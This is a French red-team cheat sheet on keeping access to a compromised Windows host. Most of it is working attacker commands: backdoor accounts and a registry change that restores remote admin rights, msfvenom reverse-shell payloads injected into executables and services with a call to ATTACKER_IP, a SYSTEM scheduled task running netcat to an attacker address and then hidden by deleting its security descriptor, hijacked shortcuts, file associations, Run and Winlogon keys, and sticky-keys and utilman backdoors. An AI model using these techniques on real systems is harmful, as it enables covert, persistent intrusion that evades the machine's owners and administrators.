REDTEAM – Windows Persistance

Après avoir obtenu un accès initial, Il va falloir faire en sorte de conserver cet accès. L’établissement de la persistance est l’une des premières tâches qui nous incombe en tant qu’attaquants. En termes simples, la persistance consiste à créer d’autres moyens d’accéder à nouveau à un hôte sans repasser par la phase d’exploitation.

Compte backdoor

Il peut être nécessaire d’ajouter l’utilisateur dans le groupe Remote Management Users (RDP) ou Remote Management Users (WinRM) afin d’autoriser les connexions à distance à la machine :

net localgroup "Remote Desktop Users" <username> /add
net localgroup "Remote Management Users" <username> /add

L’une des fonctions mises en œuvre par l’UAC, LocalAccountTokenFilterPolicy, prive tout compte local de ses privilèges administratifs lors d’une connexion à distance. Bien que vous puissiez élever vos privilèges via l’UAC à partir d’une session utilisateur graphique, si vous utilisez WinRM, vous êtes confiné à un jeton d’accès limité sans privilèges d’administration.

Pour pouvoir récupérer les privilèges d’administration de votre utilisateur, nous devons désactiver LocalAccountTokenFilterPolicy en remplaçant la clé de registre suivante par 1 :

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Fichier Backdoor

Une autre méthode pour établir la persistance consiste à altérer certains fichiers avec lesquels l’utilisateur interagit régulièrement. En apportant quelques modifications à ces fichiers, nous pouvons installer des portes dérobées qui seront exécutées chaque fois que l’utilisateur y accèdera. Comme nous ne voulons pas créer d’alertes qui pourraient nous démasquer, les fichiers que nous modifions doivent continuer à fonctionner pour l’utilisateur comme prévu.

Executables

Avec msfvenom, vous pouvez facilement insérer une charge utile de votre choix dans n’importe quel fichier .exe. Le binaire fonctionnera toujours comme d’habitude mais exécutera une charge utile supplémentaire silencieusement en ajoutant un thread supplémentaire dans votre binaire :

msfvenom -a x64 --platform windows -x program.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=9999 -b "\x00" -f exe -o evil.exe

Raccourcis

Si nous ne voulons pas modifier l’exécutable, nous pouvons toujours modifier le fichier de raccourci lui-même. Au lieu de pointer directement vers l’exécutable attendu, nous pouvons le modifier pour qu’il pointe vers un script qui lancera une backdoor et exécutera ensuite le programme habituel normalement.

Target : powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Détournement des associations de fichiers

Nous pouvons détourner n’importe quelle association de fichiers pour forcer le système d’exploitation à exécuter un script chaque fois que l’utilisateur ouvre un type de fichier spécifique.

Les associations de fichiers par défaut du système d’exploitation sont conservées dans le registre, où une clé est stockée pour chaque type de fichier sous HKLM\Software\Classes\. Supposons que nous voulions vérifier quel programme est utilisé pour ouvrir les fichiers .txt ; il nous suffit de rechercher la sous-clé .txt et de trouver l’ID programmatique (ProgID) qui lui est associé. Un ProgID est simplement un identifiant d’un programme installé sur le système. Pour les fichiers .txt, nous aurons le ProgID textfile.

On peut ensuite modifier la valeur de a clé de registre :

HKLM\Software\Classes\txtfile\shell\open\command = [REG_EXP] powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 %1 

Le %1 représente le nom du fichier à ouvrir. On peut donc écrire un programme qui ouvrira le fichier demandé à la fin.

Service

sc.exe create MyService binPath= "C:\Windows\evil.exe" start= auto
sc.exe start MyService 
#les espaces doivent être conservés

Notez cependant que les exécutables de service sont uniques puisqu’ils doivent mettre en œuvre un protocole particulier pour être traités par le système. Si vous souhaitez créer un exécutable compatible avec les services Windows, vous pouvez utiliser le format exe-service de msfvenom :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe-service -o evil.exe

On peut également modifier un service existant :

sc.exe config Service0x3 binPath= "C:\Windows\evil.exe" start= auto obj= "LocalSystem"

Tache planifiée

Création de la tâche :

schtasks /create /sc minute /mo 1 /tn EvilTask /tr "C:\nc.exe -e cmd.exe <IP> <P>" /ru SYSTEM

Affichage de la tâche :

schtasks /query /tn EvilTask

Rendre la tâche invisibe (SYSTEM)

Chaque tâche possède son descripteur de sécurité (SD) qui indique qui y a accès. La suppression du SD équivaut à interdire l’accès de tous les utilisateurs à la tâche planifiée, y compris les administrateurs.

Les descripteurs de sécurité de toutes les tâches planifiées sont stockés dans :

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\

Vous trouverez une clé de registre pour chaque tâche, sous laquelle une valeur nommée “SD” contient le descripteur de sécurité. Vous ne pouvez effacer cette valeur que si vous disposez des privilèges SYSTEM.

Pour ouvrir regedit en tant que SYSTEM nous pouvons utiliser le sysinternal PsExec :

PsExec64.exe -s -i regedit

Pour masquer notre tâche, supprimer la valeur SD de la tâche “EvilTask”.

On peut vérifier que la tâche est invisible :

schtasks /query /tn EvilTask

ERROR: The system cannot find the file specified.

Autorun

Windows exécute automatiquement certains executables lors de différents événements du système. Il est alors possible d’exploiter ce mécanisme pour effectuer notre persistence.

Dossier Startup

Les exécutables dans ce dossier sont lorsque l’utilisateur se connecte :

C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

On peut également l’appliquer à tous les utilisateurs :

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Run / RunOnce

On peut forcer l’exécution d’un programme à l’ouverture de session en modifiant les clés de registre suivantes [REG_EXPAND_SZ]:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Winlogon

Winlogon utilise certaines clés de registre qui pourraient être intéressantes pour obtenir la persistance :

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

Userinit est chargé de restaurer les préférences du profil utilisateur. Par défaut, la valeur Userinit dans la clé de registre Winlogon est configurée pour lancer userinit.exe. Il est possible d’ajouter un autre exécutable à exécuter en même temps ou à la place de userinit.exe.

HKLM\....\Winlogon::Userinit = "C:\Windows\System32\userinit.exe, C:\evil.exe" 
  • Par défaut, la valeur shell est configuré pour lancer l’interpréteur de commandes du système, qui est généralement explorer.exe. Il est possible d’ajouter un autre exécutable à exécuter en même temps ou à la place de explorer.exe.
HKLM\....\Winlogon::Shell = "explorer.exe, C:\evil.exe"

Logon exécution

Lors du chargement d’un profil utilisateur, userinit.exe vérifie la présence d’une variable d’environnement appelée UserInitMprLogonScript. Nous pouvons utiliser cette variable d’environnement pour affecter à un utilisateur un script de connexion qui sera exécuté lors sa connexion à la machine. La variable n’est pas définie par défaut, nous pouvons donc la créer et lui affecter le script de notre choix. Notez que chaque utilisateur a ses propres variables d’environnement ; vous devrez donc créer une porte dérobée pour chacun d’entre eux séparément.

HKCU\Environment::UserInitMprLogonScript = [REG_EXPAND_SZ] "C:\evil.exe"

Sticky Key

Un moyen simple de contourner l’écran de connexion consiste à remplacer sethc.exe par une copie de cmd.exe. De cette façon, nous pouvons lancer une console en utilisant le raccourci sticky key, même à partir de l’écran d’ouverture de session :

takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc.old.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Sur la page de déverrouillage de session, tapez 5 fois sur SHIFT pour obtenir une invite de commande avec les privilèges SYSTEM.

Utilman

Un autre moyen simple de contourner l’écran de connexion consiste à remplacer ultiman.exe par une copie de cmd.exe. De cette façon, nous pouvons lancer une console en utilisant le raccourci sticky key, même à partir de l’écran d’ouverture de session :

takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Sur la page de déverrouillage de session, cliquez sur le bouton Ease of Access pour obtenir une invite de commande avec les privilèges SYSTEM.

Persister à travers les services existants

Webshell

Il est possible d’ajouter un fichier sur un serveur web que l’on va pouvoir visiter pour lancer un reverse shell.

MSSQL

Il existe plusieurs façons de créer des portes dérobées dans les installations de MSSQL Server :

  • Configuration de triggers
  • Création de compte
  • etc…